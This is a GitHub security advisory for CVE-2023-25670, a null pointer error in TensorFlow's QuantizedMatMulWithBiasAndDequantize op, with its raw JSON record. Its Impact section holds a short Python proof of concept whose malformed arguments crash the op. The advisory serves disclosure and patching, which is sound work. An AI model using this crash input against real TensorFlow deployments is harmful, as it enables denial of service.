ghsa-49rq-hwc3-x77w
Vulnerability from github
Published
2023-03-24 21:55
Modified
2023-03-30 22:17
Severity ?
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Summary
TensorFlow has Null Pointer Error in QuantizedMatMulWithBiasAndDequantize
Details

Impact

NPE in QuantizedMatMulWithBiasAndDequantize with MKL enable ```python import tensorflow as tf

func = tf.raw_ops.QuantizedMatMulWithBiasAndDequantize para={'a': tf.constant(138, dtype=tf.quint8), 'b': tf.constant(4, dtype=tf.qint8), 'bias': [[31.81644630432129, 47.21876525878906], [109.95201110839844, 152.07968139648438]], 'min_a': 141.5337138686371, 'max_a': [73.84139251708984, 173.15280151367188], 'min_b': [], 'max_b': [[16.128345489501953, 193.26820373535156]], 'min_freezed_output': [], 'max_freezed_output': [115.50032806396484, 156.974853515625], 'Toutput': 1.0, 'transpose_a': True, 'transpose_b': False, 'input_quant_mode': 'MIN_FIRST'}

func(**para) ```

Patches

We have patched the issue in GitHub commit 8a47a39d9697969206d23a523c977238717e8727.

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by r3pwnx

Show details on source website

To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-25670"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-24T21:55:32Z",
    "nvd_published_at": "2023-03-25T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nNPE in QuantizedMatMulWithBiasAndDequantize with MKL enable \n```python\nimport tensorflow as tf\n\nfunc = tf.raw_ops.QuantizedMatMulWithBiasAndDequantize\npara={\u0027a\u0027: tf.constant(138, dtype=tf.quint8), \u0027b\u0027: tf.constant(4, dtype=tf.qint8), \u0027bias\u0027: [[31.81644630432129, 47.21876525878906], [109.95201110839844, 152.07968139648438]], \u0027min_a\u0027: 141.5337138686371, \u0027max_a\u0027: [73.84139251708984, 173.15280151367188], \u0027min_b\u0027: [], \u0027max_b\u0027: [[16.128345489501953, 193.26820373535156]], \u0027min_freezed_output\u0027: [], \u0027max_freezed_output\u0027: [115.50032806396484, 156.974853515625], \u0027Toutput\u0027: 1.0, \u0027transpose_a\u0027: True, \u0027transpose_b\u0027: False, \u0027input_quant_mode\u0027: \u0027MIN_FIRST\u0027}\n\nfunc(**para)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [8a47a39d9697969206d23a523c977238717e8727](https://github.com/tensorflow/tensorflow/commit/8a47a39d9697969206d23a523c977238717e8727).\n\nThe fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by r3pwnx\n",
  "id": "GHSA-49rq-hwc3-x77w",
  "modified": "2023-03-30T22:17:27Z",
  "published": "2023-03-24T21:55:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-49rq-hwc3-x77w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25670"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/commit/8a47a39d9697969206d23a523c977238717e8727"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tensorflow/tensorflow"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TensorFlow has Null Pointer Error in QuantizedMatMulWithBiasAndDequantize"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.